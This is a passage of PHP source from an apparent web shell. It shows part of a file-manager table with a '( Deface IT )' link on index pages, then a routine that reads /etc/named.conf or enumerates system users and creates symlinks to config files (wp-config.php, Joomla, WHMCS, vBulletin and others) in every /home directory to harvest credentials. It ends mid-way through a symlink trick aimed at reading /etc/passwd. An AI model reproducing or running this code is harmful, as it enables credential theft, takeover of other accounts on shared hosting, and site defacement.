1029 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1030 </tr></font>
1031 <?php
1032 }
1033 else if(is_file($vv))
1034 {
1035 ?>
1036 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1037 <td class='file'><a href=javascript:void(0) onClick="fileaction('open','<?php echo $vv; ?>')"><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>"; } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href=javascript:void(0) onClick=\"defacefun('$vv')\"><font color=red>( Deface IT )</font></a>"; } } ?></td>
1038
1039 <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></font></td>
1040
1041 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1042
1043 <?php if($os != 'Windows')
1044 {
1045 echo "<td align=center><font size=2>";
1046 echo getOGid($val)."</font></td>";
1047 } ?>
1048 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1049
1050 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1051 <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>"><font size=2>Download</font></a>
1052 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1053 </tr>
1054 <p>
1055 <?php
1056 }
1057 }
1058
1059 echo "</table>
1060<div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label>
1061<select class=sbox name=choice style='width: 100px;'>
1062 <option value=delete>Delete</option>
1063 <option value=chmod>Change mode</option>
1064 if(class_exists('ZipArchive'))
1065 { <option value=compre>Compress</option>
1066 <option value=uncompre>Uncompress</option> }
1067 </select>
1068
1069 <input type=button onClick=\"myaction(choice.value)\" value=Submit name=checkoption class=but></form></div>";
1070 }}
1071 else
1072 {
1073 echo "<p><font size=3>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
1074 }
1075
1076}
1077if(isset($_REQUEST["script"]))
1078{
1079 $getpath = trim(dirname($_SERVER['SCRIPT_NAME']) . PHP_EOL);
1080 ?>
1081 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('manuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
1082 <td><a href=javascript:void(0) onClick="getdata('scriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
1083 </tr></table></center>
1084 <?php
1085}
1086else if(isset($_REQUEST['manuallyscript']))
1087{
1088 ?>
1089 <center>
1090 <form action="<?php echo $self; ?>" method="post">
1091 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
1092 <input type="button" OnClick="manuallyscriptfn(passwd.value)" value="Get Config" class="but">
1093 </form>
1094 </center>
1095 <?php
1096}
1097else if(isset($_REQUEST['scriptlocator']))
1098{
1099 if(stristr(php_uname(),"Linux"))
1100 {
1101 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1102 $path=explode('/',$url);
1103 $url =str_replace($path[count($path)-1],'',$url);
1104 function syml($usern,$pdomain)
1105 {
1106 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1107 symlink('/home/'.$usern.'/public_html/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1108 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1109 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1110 symlink('/home/'.$usern.'/public_html/vb/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1111 symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1112 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1113 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1114 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb1.txt');
1115 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1116 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1117 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1118 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1119 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1120 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1121 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1122 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1123 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1124 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1125 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1126 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1127 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1128 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1129 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1130 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1131 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1132 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1133 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1134 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1135 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1136 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1137 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1138 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1139 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1140 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1141 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1142 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1143 symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1144 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1145 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1146 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb2.txt');
1147 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1148 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1149 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1150 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1151 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1152 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1153 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1154 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1155 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1156 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1157 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1158 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1159 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1160 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1161 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1162 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1163 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1164 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1165 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1166 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1167 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1168 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1169 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1170 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1171 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1172 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1173 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1174 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1175 symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1176 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1177 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1178 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb3.txt');
1179 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1180 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1181 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1182 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1183 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1184 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1185 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1186 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1187 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1188 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1189 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1190 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1191 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1192 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1193 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1194 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1195 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1196 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1197 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1198 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1199 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1200 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1201 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1202 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1203 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1204 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1205 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1206 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1207 symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1208 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1209 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1210 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb4.txt');
1211 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1212 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1213 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1214 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1215 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1216 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1217 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1218 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1219 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1220 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1221 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1222 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1223 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1224 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1225 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1226 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1227 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1228 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1229 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1230 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1231 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1232 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1233 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1234 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1235 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1236 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1237 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1238 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1239 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1240 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1241 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb5.txt');
1242 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1243 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1244 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1245 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1246 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1247 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1248 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1249 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1250 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1251 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1252 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1253 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1254 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1255 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1256 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1257 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1258 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1259 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1260 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1261 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1262 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1263 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1264 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1265 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1266 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1267 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1268 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1269 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1270 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1271 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1272 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1273 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1274 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1275 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1276 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1277 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1278 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1279 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1280 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1281 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1282 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1283 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1284 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1285 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1286 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1287 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1288 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1289 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1290 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1291 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1292 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1293 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1294 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1295 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1296 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1297 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1298 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1299 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1300 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1301 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1302 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb7.txt');
1303 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1304 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1305 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1306 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1307 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1308 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1309 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1310 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1311 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1312 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1313 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1314 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1315 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1316 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1317 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1318 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1319 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1320 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1321 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1322 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1323 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1324 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1325 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1326 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1327 }
1328 if(isset($_REQUEST['passwd']))
1329 {
1330 $getetc = trim($_REQUEST['passwd']);
1331
1332 mkdir("dhanushSPT");
1333 chdir("dhanushSPT");
1334
1335 $myfile = fopen("test.txt","w");
1336 fputs($myfile,$getetc);
1337 fclose($myfile);
1338
1339 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1340 while(!feof($file))
1341 {
1342 $s = fgets($file);
1343 $matches = array();
1344 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1345 $matches = str_replace("home/","",$matches[1]);
1346 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1347 continue;
1348 syml($matches,$matches);
1349 }
1350 fclose($file);
1351 unlink("test.txt");
1352 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1353 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1354
1355 }
1356 else
1357 {
1358 $d0mains = @file("/etc/named.conf");
1359 if($d0mains)
1360 {
1361 mkdir("dhanushST");
1362 chdir("dhanushST");
1363
1364 foreach($d0mains as $d0main)
1365 {
1366 if(eregi("zone",$d0main))
1367 {
1368 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1369 flush();
1370
1371 if(strlen(trim($domains[1][0])) > 2)
1372 {
1373 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1374
1375 syml($user['name'],$domains[1][0]);
1376 }
1377 }
1378 }
1379 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1380 echo "<br><center><a href=".$url."dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1381 }
1382 else
1383 {
1384 mkdir("dhanushSPT");
1385 chdir("dhanushSPT");
1386 $temp = "";
1387 $val1 = 0;
1388 $val2 = 1000;
1389 for(;$val1 <= $val2;$val1++)
1390 {
1391 $uid = @posix_getpwuid($val1);
1392 if ($uid)
1393 $temp .= join(':',$uid)."\n";
1394 }
1395 echo '<br/>';
1396 $temp = trim($temp);
1397
1398 $file5 = fopen("test.txt","w");
1399 fputs($file5,$temp);
1400 fclose($file5);
1401
1402
1403 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1404 while(!feof($file))
1405 {
1406 $s = fgets($file);
1407 $matches = array();
1408 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1409 $matches = str_replace("home/","",$matches[1]);
1410 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1411 continue;
1412 syml($matches,$matches);
1413 }
1414 fclose($file);
1415 echo "</table>";
1416 unlink("test.txt");
1417 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1418 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1419 }
1420 }
1421 }
1422 else
1423 echo "<center>Cannot Complete the task!!!!</center>";
1424
1425}
1426else if(isset($_GET["symlinkfile"]))
1427{
1428 if(!isset($_GET['file']))
1429 {
1430 ?>
1431 <center>
1432 <form onSubmit="getdata('symlinkmyfile',file.value);return false;">
1433 <input type="text" class="box" name="file" size="50" value="/etc/passwd">
1434 <input type="button" value="Create Symlink" onClick="getdata('symlinkmyfile',file.value)" class="but">
1435 </form></center>
1436 <br><br>
1437 <?php
1438 }
1439}
1440
1441else if(isset($_GET['symlinkmyfile']))
1442{
1443 if(stristr(php_uname(),"Linux"))
1444 {
1445 $fakedir="cx";
1446 $fakedep=16;
1447
1448 $num=0; // offset of symlink.$num
1449
1450 if(!empty($_GET['myfile']))
1451 $file=$_GET['myfile'];
1452 else $file="";
1453
1454 if(empty($file))
1455 exit;
1456
1457 if(!is_writable("."))
1458 echo "not writable directory";
1459
1460 $level=0;
1461
1462 for($as=0;$as<$fakedep;$as++)
1463 {
1464 if(!file_exists($fakedir))
1465 mkdir($fakedir);
1466 chdir($fakedir);
1467 }
1468
1469 while(1<$as--) chdir("..");
1470
1471 $hardstyle = explode("/", $file);
1472
1473 for($a=0;$a<count($hardstyle);$a++)
1474 {
1475 if(!empty($hardstyle[$a]))
1476 {
1477 if(!file_exists($hardstyle[$a]))
